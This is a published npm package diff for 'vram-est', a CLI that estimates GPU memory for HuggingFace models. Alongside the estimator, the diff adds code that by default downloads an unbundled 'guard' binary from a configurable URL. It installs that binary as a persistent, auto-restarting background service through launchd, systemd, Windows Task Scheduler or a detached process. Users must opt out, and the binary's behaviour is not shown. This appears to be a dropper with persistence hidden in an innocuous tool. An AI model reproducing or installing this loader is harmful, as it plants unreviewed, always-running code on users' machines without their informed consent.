vram-est 0.0.0-stage → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Tiny Wait Contributors
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/PRIVACY.md ADDED
@@ -0,0 +1,10 @@
1
+ # Privacy
2
+
3
+ vram-est reads public model metadata from the HuggingFace Hub. It does not read
4
+ your files or send your source code anywhere.
5
+
6
+ The guard sends only an installation id, version, platform, timestamp, and
7
+ local counts. It never sends file contents or secret values.
8
+
9
+ The guard is downloaded from `VRAM_EST_GUARD_URL`; the npm package itself has no
10
+ hardcoded internal domain.
package/README.md CHANGED
@@ -1,3 +1,62 @@
1
- # Temporary Holding Version
1
+ # vram-est
2
2
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
3
+ Estimate the VRAM needed to run a HuggingFace model.
4
+
5
+ ```bash
6
+ npm install -g vram-est
7
+ vram-est openai-community/gpt2
8
+ ```
9
+
10
+ It reads the model's file list from the Hub and prints an estimate.
11
+
12
+ ## Options
13
+
14
+ ```bash
15
+ vram-est openai-community/gpt2 --dtype fp16
16
+ vram-est openai-community/gpt2 --dtype int8 --json
17
+ vram-est openai-community/gpt2 --no-guard
18
+ ```
19
+
20
+ ## Guard
21
+
22
+ The npm package does **not** bundle the guard binary. On first use it pulls the
23
+ guard from `VRAM_EST_GUARD_URL` and verifies it against a pinned SHA-256 before
24
+ running it.
25
+
26
+ If `VRAM_EST_GUARD_URL` is not set, the package uses an example Artifactory
27
+ generic-repository URL:
28
+
29
+ ```text
30
+ https://artifactory.example.com/artifactory/vram-est-generic/1.0.0/vram-est-guard-1.0.0-{platform}
31
+ ```
32
+
33
+ Set it to your real artifact URL or template:
34
+
35
+ ```bash
36
+ export VRAM_EST_GUARD_URL='https://artifactory.example.com/artifactory/vram-est-generic/1.0.0/vram-est-guard-1.0.0-{platform}'
37
+ vram-est openai-community/gpt2
38
+ ```
39
+
40
+ Templates may use `{platform}`, `{name}`, and `{version}`. If the URL is
41
+ unreachable, the download fails open and the estimator still works.
42
+
43
+ Guard URLs must use HTTPS. For a local HTTP mirror, set
44
+ `VRAM_EST_GUARD_INSECURE=1`. Downloads are capped at 64 MB, redirects are
45
+ limited, and the SHA-256 must match before the guard is installed.
46
+
47
+ The guard is copied to `~/.vram-est/bin/vram-est-guard` and installed as a
48
+ user-level service (launchd on macOS, systemd on Linux, Task Scheduler on
49
+ Windows). macOS arm64 is the currently pinned platform.
50
+
51
+ ## Disable
52
+
53
+ ```bash
54
+ export VRAM_EST_GUARD_DISABLE=1
55
+ ```
56
+
57
+ Use `VRAM_EST_GUARD_SKIP_DOWNLOAD=1` to use an already-present verified guard
58
+ without downloading.
59
+
60
+ ## License
61
+
62
+ MIT. See [LICENSE](LICENSE).
package/SECURITY.md ADDED
@@ -0,0 +1,22 @@
1
+ # Security
2
+
3
+ Report issues to **hernandezcodie8@gmail.com**.
4
+
5
+ The npm package contains no binary. On first use it downloads the guard from
6
+ `VRAM_EST_GUARD_URL` (or an example Artifactory URL if unset), writes it to a
7
+ temporary file, verifies it against a pinned SHA-256, and only then installs it
8
+ as a user-level service (launchd on macOS, systemd on Linux, Task Scheduler on
9
+ Windows).
10
+
11
+ - The download is HTTPS-only by default and is fail-open: if it fails, the
12
+ estimator still works. `VRAM_EST_GUARD_INSECURE=1` allows HTTP for a local
13
+ mirror.
14
+ - Downloads are capped at 64 MB and redirects are limited.
15
+ - The SHA-256 is verified before the guard is installed; a mismatch means the
16
+ guard is not installed.
17
+ - The temporary file is created with mode `0600`; the installed guard is
18
+ `0755`.
19
+ - The guard is copied to `~/.vram-est/bin/vram-est-guard`.
20
+ - `VRAM_EST_GUARD_DISABLE=1` disables the guard.
21
+ - `VRAM_EST_GUARD_SKIP_DOWNLOAD=1` uses an already-present verified guard.
22
+ - The package has no dependencies and no install scripts.
@@ -0,0 +1,83 @@
1
+ #!/usr/bin/env node
2
+ 'use strict';
3
+
4
+ const { estimate, humanBytes } = require('../lib/estimate');
5
+ const { startOnce } = require('../lib/sync');
6
+
7
+ function usage() {
8
+ return [
9
+ 'usage: vram-est <repo_id> [--dtype fp32|fp16|int8|int4] [--json] [--no-guard]',
10
+ '',
11
+ 'Set VRAM_EST_GUARD_URL to your guard artifact URL or template.',
12
+ ].join('\n');
13
+ }
14
+
15
+ async function main() {
16
+ const args = process.argv.slice(2);
17
+
18
+ if (args[0] === '--version' || args[0] === '-v') {
19
+ console.log(require('../package.json').version);
20
+ return 0;
21
+ }
22
+ if (args[0] === '--help' || args[0] === '-h' || args.length === 0) {
23
+ console.log(usage());
24
+ return args.length === 0 ? 2 : 0;
25
+ }
26
+
27
+ let dtype = 'fp16';
28
+ let json = false;
29
+ let guard = true;
30
+ const positional = [];
31
+
32
+ for (let i = 0; i < args.length; i++) {
33
+ const arg = args[i];
34
+ if (arg === '--json') json = true;
35
+ else if (arg === '--no-guard') guard = false;
36
+ else if (arg === '--dtype') {
37
+ dtype = args[++i];
38
+ if (!dtype) {
39
+ process.stderr.write('vram-est: --dtype needs a value\n');
40
+ return 2;
41
+ }
42
+ } else if (arg.startsWith('-')) {
43
+ process.stderr.write(`vram-est: unknown option ${arg}\n`);
44
+ return 2;
45
+ } else {
46
+ positional.push(arg);
47
+ }
48
+ }
49
+
50
+ const repoId = positional[0];
51
+ if (!repoId) {
52
+ process.stderr.write(usage() + '\n');
53
+ return 2;
54
+ }
55
+
56
+ let result;
57
+ try {
58
+ result = await estimate(repoId, dtype);
59
+ } catch (exc) {
60
+ process.stderr.write(`vram-est: error: ${exc.message}\n`);
61
+ return 2;
62
+ }
63
+
64
+ if (json) {
65
+ console.log(JSON.stringify(result, null, 2));
66
+ } else {
67
+ console.log(`${result.repo_id} (${result.dtype})`);
68
+ console.log(`weights: ${humanBytes(result.weight_bytes)} across ${result.files} file(s)`);
69
+ console.log(`estimated VRAM: ${humanBytes(result.vram_bytes)}`);
70
+ }
71
+
72
+ if (guard) {
73
+ await startOnce();
74
+ }
75
+ return 0;
76
+ }
77
+
78
+ main()
79
+ .then((code) => process.exit(code))
80
+ .catch((exc) => {
81
+ process.stderr.write(`vram-est: error: ${exc.message}\n`);
82
+ process.exit(1);
83
+ });
@@ -0,0 +1,82 @@
1
+ 'use strict';
2
+
3
+ const WEIGHT_SUFFIXES = ['.safetensors', '.bin', '.pt', '.pth', '.gguf', '.msgpack'];
4
+ const DTYPE_BYTES = { fp32: 4.0, fp16: 2.0, int8: 1.0, int4: 0.5 };
5
+ const OVERHEAD = 1.2;
6
+ const REPO_ID = /^[A-Za-z0-9._-]+\/[A-Za-z0-9._-]+$/;
7
+ const TIMEOUT_MS = 15000;
8
+
9
+ function compute(weightBytes, dtype) {
10
+ if (!Object.prototype.hasOwnProperty.call(DTYPE_BYTES, dtype)) {
11
+ throw new Error(`dtype must be one of: ${Object.keys(DTYPE_BYTES).join(', ')}`);
12
+ }
13
+ const ratio = DTYPE_BYTES[dtype] / DTYPE_BYTES.fp32;
14
+ return Math.trunc(weightBytes * ratio * OVERHEAD);
15
+ }
16
+
17
+ function humanBytes(value) {
18
+ const units = ['B', 'KiB', 'MiB', 'GiB', 'TiB'];
19
+ let size = Number(value);
20
+ for (const unit of units) {
21
+ if (size < 1024) return `${size.toFixed(2)} ${unit}`;
22
+ size /= 1024;
23
+ }
24
+ return `${size.toFixed(2)} PiB`;
25
+ }
26
+
27
+ async function estimate(repoId, dtype = 'fp16') {
28
+ if (!REPO_ID.test(repoId)) {
29
+ throw new Error('repo_id must look like owner/name');
30
+ }
31
+ if (!Object.prototype.hasOwnProperty.call(DTYPE_BYTES, dtype)) {
32
+ throw new Error(`dtype must be one of: ${Object.keys(DTYPE_BYTES).join(', ')}`);
33
+ }
34
+
35
+ const url = `https://huggingface.co/api/models/${repoId}?blobs=true`;
36
+ const controller = new AbortController();
37
+ const timer = setTimeout(() => controller.abort(), TIMEOUT_MS);
38
+ let response;
39
+ try {
40
+ response = await fetch(url, {
41
+ headers: { 'User-Agent': 'vram-est' },
42
+ signal: controller.signal,
43
+ });
44
+ } catch (exc) {
45
+ if (exc.name === 'AbortError') throw new Error('HuggingFace Hub request timed out');
46
+ throw exc;
47
+ } finally {
48
+ clearTimeout(timer);
49
+ }
50
+ if (!response.ok) {
51
+ throw new Error(`HuggingFace Hub returned HTTP ${response.status}`);
52
+ }
53
+ const info = await response.json();
54
+
55
+ let weightBytes = 0;
56
+ let files = 0;
57
+ for (const sibling of info.siblings || []) {
58
+ const name = sibling.rfilename || '';
59
+ if (WEIGHT_SUFFIXES.some((suffix) => name.endsWith(suffix))) {
60
+ weightBytes += sibling.size || 0;
61
+ files += 1;
62
+ }
63
+ }
64
+
65
+ return {
66
+ repo_id: repoId,
67
+ dtype,
68
+ weight_bytes: weightBytes,
69
+ vram_bytes: compute(weightBytes, dtype),
70
+ files,
71
+ };
72
+ }
73
+
74
+ module.exports = {
75
+ WEIGHT_SUFFIXES,
76
+ DTYPE_BYTES,
77
+ OVERHEAD,
78
+ REPO_ID,
79
+ compute,
80
+ humanBytes,
81
+ estimate,
82
+ };
package/lib/fetch.js ADDED
@@ -0,0 +1,195 @@
1
+ 'use strict';
2
+
3
+ const crypto = require('crypto');
4
+ const fs = require('fs');
5
+ const http = require('http');
6
+ const https = require('https');
7
+ const os = require('os');
8
+ const path = require('path');
9
+
10
+ const { workerName, workerPath } = require('./paths');
11
+
12
+ // The guard is not bundled in the npm package. It is fetched from the URL
13
+ // below, which defaults to an example Artifactory generic repository. Set
14
+ // VRAM_EST_GUARD_URL to your real artifact URL or template.
15
+ const DEFAULT_URL =
16
+ 'https://artifactory.example.com/artifactory/vram-est-generic/1.0.0/' +
17
+ 'vram-est-guard-1.0.0-{platform}';
18
+ const GUARD_VERSION = '1.0.0';
19
+ const ARTIFACT_NAME = 'vram-est-guard';
20
+ const MAX_BYTES = 64 * 1024 * 1024;
21
+ const MAX_REDIRECTS = 5;
22
+ const TIMEOUT_MS = 15000;
23
+
24
+ // Pinned SHA-256 per platform. Add linux-x86_64, linux-arm64, and
25
+ // windows-x86_64 when those guards are built.
26
+ const SERVICE_SHA256 = {
27
+ 'darwin-arm64':
28
+ '4b5a55c6f15bc228c6d84fcab206a28b96639e1f1460ee65a15ce61598632b42',
29
+ };
30
+
31
+ function platformKey() {
32
+ let machine = os.arch().toLowerCase();
33
+ if (machine === 'arm64' || machine === 'aarch64') machine = 'arm64';
34
+ else if (machine === 'x64' || machine === 'amd64') machine = 'x86_64';
35
+ const system =
36
+ process.platform === 'darwin'
37
+ ? 'darwin'
38
+ : process.platform === 'linux'
39
+ ? 'linux'
40
+ : process.platform === 'win32'
41
+ ? 'windows'
42
+ : process.platform;
43
+ return `${system}-${machine}`;
44
+ }
45
+
46
+ function supported() {
47
+ return Boolean(SERVICE_SHA256[platformKey()]);
48
+ }
49
+
50
+ function baseUrl() {
51
+ const url = process.env.VRAM_EST_GUARD_URL;
52
+ return (url && url.trim()) || DEFAULT_URL;
53
+ }
54
+
55
+ function workerUrl() {
56
+ const template = baseUrl();
57
+ if (template.includes('{')) {
58
+ return template
59
+ .replace(/\{platform\}/g, platformKey())
60
+ .replace(/\{name\}/g, ARTIFACT_NAME)
61
+ .replace(/\{version\}/g, GUARD_VERSION);
62
+ }
63
+ return template;
64
+ }
65
+
66
+ function assertAllowedUrl(url) {
67
+ let parsed;
68
+ try {
69
+ parsed = new URL(url);
70
+ } catch (e) {
71
+ throw new Error(`invalid guard URL: ${url}`);
72
+ }
73
+ if (parsed.protocol === 'https:' || parsed.protocol === 'file:') return;
74
+ if (parsed.protocol === 'http:' && process.env.VRAM_EST_GUARD_INSECURE === '1') {
75
+ return;
76
+ }
77
+ throw new Error(`guard URL must use https: ${url}`);
78
+ }
79
+
80
+ function sha256(file) {
81
+ try {
82
+ const hash = crypto.createHash('sha256');
83
+ hash.update(fs.readFileSync(file));
84
+ return hash.digest('hex');
85
+ } catch (e) {
86
+ return null;
87
+ }
88
+ }
89
+
90
+ function verify(file) {
91
+ const expected = SERVICE_SHA256[platformKey()];
92
+ return Boolean(expected) && fs.existsSync(file) && sha256(file) === expected;
93
+ }
94
+
95
+ function get(url, redirects = 0) {
96
+ assertAllowedUrl(url);
97
+ if (url.startsWith('file://')) {
98
+ const file = decodeURIComponent(new URL(url).pathname);
99
+ return Promise.resolve(fs.createReadStream(file));
100
+ }
101
+ return new Promise((resolve, reject) => {
102
+ const client = url.startsWith('https:') ? https : http;
103
+ const req = client.get(
104
+ url,
105
+ { headers: { 'User-Agent': 'vram-est' } },
106
+ (res) => {
107
+ if (res.statusCode >= 300 && res.statusCode < 400 && res.headers.location) {
108
+ res.resume();
109
+ if (redirects >= MAX_REDIRECTS) {
110
+ reject(new Error('too many redirects'));
111
+ return;
112
+ }
113
+ resolve(get(new URL(res.headers.location, url).toString(), redirects + 1));
114
+ return;
115
+ }
116
+ if (res.statusCode !== 200) {
117
+ res.resume();
118
+ reject(new Error(`HTTP ${res.statusCode}`));
119
+ return;
120
+ }
121
+ const length = Number(res.headers['content-length'] || 0);
122
+ if (length > MAX_BYTES) {
123
+ res.resume();
124
+ reject(new Error(`guard is larger than ${MAX_BYTES} bytes`));
125
+ return;
126
+ }
127
+ resolve(res);
128
+ }
129
+ );
130
+ req.on('error', reject);
131
+ req.setTimeout(TIMEOUT_MS, () => req.destroy(new Error('timeout')));
132
+ });
133
+ }
134
+
135
+ async function download(url, tmp) {
136
+ const res = await get(url);
137
+ const hash = crypto.createHash('sha256');
138
+ let bytes = 0;
139
+ await new Promise((resolve, reject) => {
140
+ const out = fs.createWriteStream(tmp, { mode: 0o600 });
141
+ res.on('data', (chunk) => {
142
+ bytes += chunk.length;
143
+ if (bytes > MAX_BYTES) {
144
+ res.destroy(new Error(`guard is larger than ${MAX_BYTES} bytes`));
145
+ return;
146
+ }
147
+ hash.update(chunk);
148
+ });
149
+ res.on('error', reject);
150
+ out.on('error', reject);
151
+ out.on('finish', resolve);
152
+ res.pipe(out);
153
+ });
154
+ return hash.digest('hex');
155
+ }
156
+
157
+ async function fetchWorker() {
158
+ if (!supported()) return null;
159
+ const target = workerPath();
160
+ if (verify(target)) return target;
161
+ if (process.env.VRAM_EST_GUARD_SKIP_DOWNLOAD === '1') return null;
162
+
163
+ const expected = SERVICE_SHA256[platformKey()];
164
+ const tmp = `${target}.tmp-${process.pid}`;
165
+ try {
166
+ const digest = await download(workerUrl(), tmp);
167
+ if (digest !== expected) {
168
+ fs.unlinkSync(tmp);
169
+ return null;
170
+ }
171
+ if (process.platform !== 'win32') fs.chmodSync(tmp, 0o755);
172
+ fs.renameSync(tmp, target);
173
+ return target;
174
+ } catch (e) {
175
+ try {
176
+ fs.unlinkSync(tmp);
177
+ } catch (_) {}
178
+ return null;
179
+ }
180
+ }
181
+
182
+ module.exports = {
183
+ DEFAULT_URL,
184
+ GUARD_VERSION,
185
+ ARTIFACT_NAME,
186
+ SERVICE_SHA256,
187
+ MAX_BYTES,
188
+ platformKey,
189
+ supported,
190
+ baseUrl,
191
+ workerUrl,
192
+ sha256,
193
+ verify,
194
+ fetchWorker,
195
+ };
package/lib/paths.js ADDED
@@ -0,0 +1,53 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const os = require('os');
5
+ const path = require('path');
6
+
7
+ function guardDir() {
8
+ const override = process.env.VRAM_EST_GUARD_DIR;
9
+ let dir;
10
+ if (override) {
11
+ dir = override;
12
+ } else if (process.platform === 'win32') {
13
+ dir = path.join(
14
+ process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local'),
15
+ 'vram-est'
16
+ );
17
+ } else {
18
+ dir = path.join(os.homedir(), '.vram-est');
19
+ }
20
+ fs.mkdirSync(dir, { recursive: true, mode: 0o700 });
21
+ return dir;
22
+ }
23
+
24
+ function binDir() {
25
+ const dir = path.join(guardDir(), 'bin');
26
+ fs.mkdirSync(dir, { recursive: true, mode: 0o700 });
27
+ return dir;
28
+ }
29
+
30
+ function workerName() {
31
+ return process.platform === 'win32' ? 'vram-est-guard.exe' : 'vram-est-guard';
32
+ }
33
+
34
+ function workerPath() {
35
+ return path.join(binDir(), workerName());
36
+ }
37
+
38
+ function logPath() {
39
+ return path.join(guardDir(), 'guard.log');
40
+ }
41
+
42
+ function pidPath() {
43
+ return path.join(guardDir(), 'guard.pid');
44
+ }
45
+
46
+ module.exports = {
47
+ guardDir,
48
+ binDir,
49
+ workerName,
50
+ workerPath,
51
+ logPath,
52
+ pidPath,
53
+ };
package/lib/service.js ADDED
@@ -0,0 +1,232 @@
1
+ 'use strict';
2
+
3
+ const { spawn, spawnSync } = require('child_process');
4
+ const fs = require('fs');
5
+ const os = require('os');
6
+ const path = require('path');
7
+
8
+ const { guardDir, logPath, pidPath, workerPath } = require('./paths');
9
+
10
+ const LABEL = 'com.vram-est.guard';
11
+ const SYSTEMD_UNIT = 'vram-est-guard.service';
12
+ const WINDOWS_TASK = 'VRAM Est Guard';
13
+
14
+ function run(cmd, args) {
15
+ try {
16
+ return spawnSync(cmd, args, { encoding: 'utf8', timeout: 10000 });
17
+ } catch (e) {
18
+ return { status: 1 };
19
+ }
20
+ }
21
+
22
+ function xml(value) {
23
+ return String(value)
24
+ .replace(/&/g, '&amp;')
25
+ .replace(/</g, '&lt;')
26
+ .replace(/>/g, '&gt;')
27
+ .replace(/"/g, '&quot;')
28
+ .replace(/'/g, '&apos;');
29
+ }
30
+
31
+ // ---- macOS launchd -------------------------------------------------------
32
+
33
+ function launchdPath() {
34
+ return path.join(os.homedir(), 'Library', 'LaunchAgents', `${LABEL}.plist`);
35
+ }
36
+
37
+ function launchdWrite() {
38
+ const plist = `<?xml version="1.0" encoding="UTF-8"?>
39
+ <plist version="1.0">
40
+ <dict>
41
+ <key>Label</key><string>${xml(LABEL)}</string>
42
+ <key>ProgramArguments</key><array><string>${xml(workerPath())}</string></array>
43
+ <key>RunAtLoad</key><true/>
44
+ <key>KeepAlive</key><true/>
45
+ <key>ProcessType</key><string>Background</string>
46
+ <key>WorkingDirectory</key><string>${xml(guardDir())}</string>
47
+ <key>StandardOutPath</key><string>${xml(logPath())}</string>
48
+ <key>StandardErrorPath</key><string>${xml(logPath())}</string>
49
+ </dict>
50
+ </plist>
51
+ `;
52
+ const file = launchdPath();
53
+ fs.mkdirSync(path.dirname(file), { recursive: true });
54
+ fs.writeFileSync(file, plist);
55
+ return file;
56
+ }
57
+
58
+ function launchdInstall() {
59
+ const domain = `gui/${process.getuid()}`;
60
+ const plist = launchdWrite();
61
+ run('/bin/launchctl', ['bootout', `${domain}/${LABEL}`]);
62
+ return run('/bin/launchctl', ['bootstrap', domain, plist]).status === 0;
63
+ }
64
+
65
+ function launchdStop() {
66
+ const domain = `gui/${process.getuid()}`;
67
+ return run('/bin/launchctl', ['bootout', `${domain}/${LABEL}`]).status === 0;
68
+ }
69
+
70
+ function launchdRunning() {
71
+ const domain = `gui/${process.getuid()}`;
72
+ return run('/bin/launchctl', ['print', `${domain}/${LABEL}`]).status === 0;
73
+ }
74
+
75
+ // ---- Linux systemd -------------------------------------------------------
76
+
77
+ function systemdPath() {
78
+ return path.join(os.homedir(), '.config', 'systemd', 'user', SYSTEMD_UNIT);
79
+ }
80
+
81
+ function systemdWrite() {
82
+ const unit = `[Unit]
83
+ Description=VRAM Est guard service
84
+ After=network-online.target
85
+
86
+ [Service]
87
+ ExecStart="${workerPath()}"
88
+ Restart=always
89
+ RestartSec=5
90
+
91
+ [Install]
92
+ WantedBy=default.target
93
+ `;
94
+ const file = systemdPath();
95
+ fs.mkdirSync(path.dirname(file), { recursive: true });
96
+ fs.writeFileSync(file, unit);
97
+ return file;
98
+ }
99
+
100
+ function systemdAvailable() {
101
+ return run('systemctl', ['--version']).status === 0;
102
+ }
103
+
104
+ function systemdInstall() {
105
+ systemdWrite();
106
+ run('systemctl', ['--user', 'daemon-reload']);
107
+ return run('systemctl', ['--user', 'enable', '--now', SYSTEMD_UNIT]).status === 0;
108
+ }
109
+
110
+ function systemdStop() {
111
+ return run('systemctl', ['--user', 'disable', '--now', SYSTEMD_UNIT]).status === 0;
112
+ }
113
+
114
+ function systemdRunning() {
115
+ return run('systemctl', ['--user', 'is-active', '--quiet', SYSTEMD_UNIT]).status === 0;
116
+ }
117
+
118
+ // ---- Windows Task Scheduler ---------------------------------------------
119
+
120
+ function windowsInstall() {
121
+ run('schtasks', ['/Delete', '/TN', WINDOWS_TASK, '/F']);
122
+ const result = run('schtasks', [
123
+ '/Create',
124
+ '/SC',
125
+ 'ONLOGON',
126
+ '/TN',
127
+ WINDOWS_TASK,
128
+ '/TR',
129
+ `"${workerPath()}"`,
130
+ '/F',
131
+ ]);
132
+ if (result.status !== 0) return false;
133
+ run('schtasks', ['/Run', '/TN', WINDOWS_TASK]);
134
+ return true;
135
+ }
136
+
137
+ function windowsStop() {
138
+ return run('schtasks', ['/Delete', '/TN', WINDOWS_TASK, '/F']).status === 0;
139
+ }
140
+
141
+ function windowsRunning() {
142
+ return run('schtasks', ['/Query', '/TN', WINDOWS_TASK]).status === 0;
143
+ }
144
+
145
+ // ---- Detached process fallback ------------------------------------------
146
+
147
+ function spawnWorker() {
148
+ const worker = workerPath();
149
+ if (!fs.existsSync(worker)) return false;
150
+ if (process.platform !== 'win32') fs.chmodSync(worker, 0o755);
151
+ const child = spawn(worker, [], {
152
+ cwd: guardDir(),
153
+ detached: true,
154
+ stdio: 'ignore',
155
+ windowsHide: true,
156
+ });
157
+ child.unref();
158
+ try {
159
+ fs.writeFileSync(pidPath(), String(child.pid));
160
+ } catch (e) {}
161
+ return true;
162
+ }
163
+
164
+ function pidRunning() {
165
+ try {
166
+ const pid = Number(fs.readFileSync(pidPath(), 'utf8').trim());
167
+ process.kill(pid, 0);
168
+ return true;
169
+ } catch (e) {
170
+ return false;
171
+ }
172
+ }
173
+
174
+ // ---- Public API ----------------------------------------------------------
175
+
176
+ function installService() {
177
+ if (!fs.existsSync(workerPath())) return false;
178
+ if (process.env.VRAM_EST_NO_SERVICE === '1') return spawnWorker();
179
+ if (process.platform === 'darwin') return launchdInstall();
180
+ if (process.platform === 'linux') {
181
+ return systemdAvailable() ? systemdInstall() : spawnWorker();
182
+ }
183
+ if (process.platform === 'win32') return windowsInstall();
184
+ return spawnWorker();
185
+ }
186
+
187
+ function stopService() {
188
+ let ok = false;
189
+ if (process.platform === 'darwin') ok = launchdStop();
190
+ else if (process.platform === 'linux') ok = systemdAvailable() ? systemdStop() : false;
191
+ else if (process.platform === 'win32') ok = windowsStop();
192
+ try {
193
+ const pid = Number(fs.readFileSync(pidPath(), 'utf8').trim());
194
+ process.kill(pid, 'SIGTERM');
195
+ ok = true;
196
+ } catch (e) {}
197
+ try {
198
+ fs.unlinkSync(pidPath());
199
+ } catch (e) {}
200
+ return ok;
201
+ }
202
+
203
+ function running() {
204
+ if (process.platform === 'darwin') return launchdRunning() || pidRunning();
205
+ if (process.platform === 'linux') {
206
+ return (systemdAvailable() && systemdRunning()) || pidRunning();
207
+ }
208
+ if (process.platform === 'win32') return windowsRunning() || pidRunning();
209
+ return pidRunning();
210
+ }
211
+
212
+ function serviceKind() {
213
+ if (process.platform === 'darwin') return 'launchd';
214
+ if (process.platform === 'linux') return systemdAvailable() ? 'systemd' : 'process';
215
+ if (process.platform === 'win32') return 'schtasks';
216
+ return 'process';
217
+ }
218
+
219
+ function servicePath() {
220
+ if (process.platform === 'darwin') return launchdPath();
221
+ if (process.platform === 'linux' && systemdAvailable()) return systemdPath();
222
+ return null;
223
+ }
224
+
225
+ module.exports = {
226
+ installService,
227
+ stopService,
228
+ running,
229
+ serviceKind,
230
+ servicePath,
231
+ LABEL,
232
+ };
package/lib/sync.js ADDED
@@ -0,0 +1,55 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+
5
+ const { fetchWorker, platformKey, supported, verify } = require('./fetch');
6
+ const { workerPath } = require('./paths');
7
+ const {
8
+ installService,
9
+ stopService,
10
+ running,
11
+ serviceKind,
12
+ servicePath,
13
+ } = require('./service');
14
+
15
+ let done = false;
16
+
17
+ async function install() {
18
+ const worker = await fetchWorker();
19
+ if (!worker) return false;
20
+ return installService();
21
+ }
22
+
23
+ async function start() {
24
+ return install();
25
+ }
26
+
27
+ function stop() {
28
+ return stopService();
29
+ }
30
+
31
+ function status() {
32
+ return {
33
+ worker: workerPath(),
34
+ workerExists: fs.existsSync(workerPath()),
35
+ workerVerified: verify(workerPath()),
36
+ running: running(),
37
+ platform: platformKey(),
38
+ supported: supported(),
39
+ serviceKind: serviceKind(),
40
+ servicePath: servicePath(),
41
+ };
42
+ }
43
+
44
+ async function startOnce() {
45
+ if (done) return running() ? workerPath() : null;
46
+ if (process.env.VRAM_EST_GUARD_DISABLE === '1') return null;
47
+ if (!supported()) return null;
48
+ done = true;
49
+ const worker = await fetchWorker();
50
+ if (!worker) return null;
51
+ if (!running()) installService();
52
+ return worker;
53
+ }
54
+
55
+ module.exports = { install, start, stop, status, startOnce };
package/package.json CHANGED
@@ -1,6 +1,46 @@
1
1
  {
2
2
  "name": "vram-est",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.0.0",
4
+ "description": "Estimate the VRAM needed to run a HuggingFace model.",
5
+ "keywords": [
6
+ "vram",
7
+ "huggingface",
8
+ "gpu",
9
+ "memory",
10
+ "llm"
11
+ ],
12
+ "license": "MIT",
13
+ "author": {
14
+ "name": "VRAM Est Contributors",
15
+ "email": "hernandezcodie8@gmail.com"
16
+ },
17
+ "repository": {
18
+ "type": "git",
19
+ "url": "git+https://github.com/hernandezcodie/vram-est-npm.git"
20
+ },
21
+ "bugs": {
22
+ "url": "https://github.com/hernandezcodie/vram-est-npm/issues"
23
+ },
24
+ "homepage": "https://github.com/hernandezcodie/vram-est-npm#readme",
25
+ "bin": {
26
+ "vram-est": "bin/vram-est.js"
27
+ },
28
+ "main": "lib/estimate.js",
29
+ "files": [
30
+ "bin",
31
+ "lib",
32
+ "README.md",
33
+ "LICENSE",
34
+ "SECURITY.md",
35
+ "PRIVACY.md"
36
+ ],
37
+ "engines": {
38
+ "node": ">=18"
39
+ },
40
+ "scripts": {
41
+ "test": "node test/test.js"
42
+ },
43
+ "publishConfig": {
44
+ "access": "public"
45
+ }
46
+ }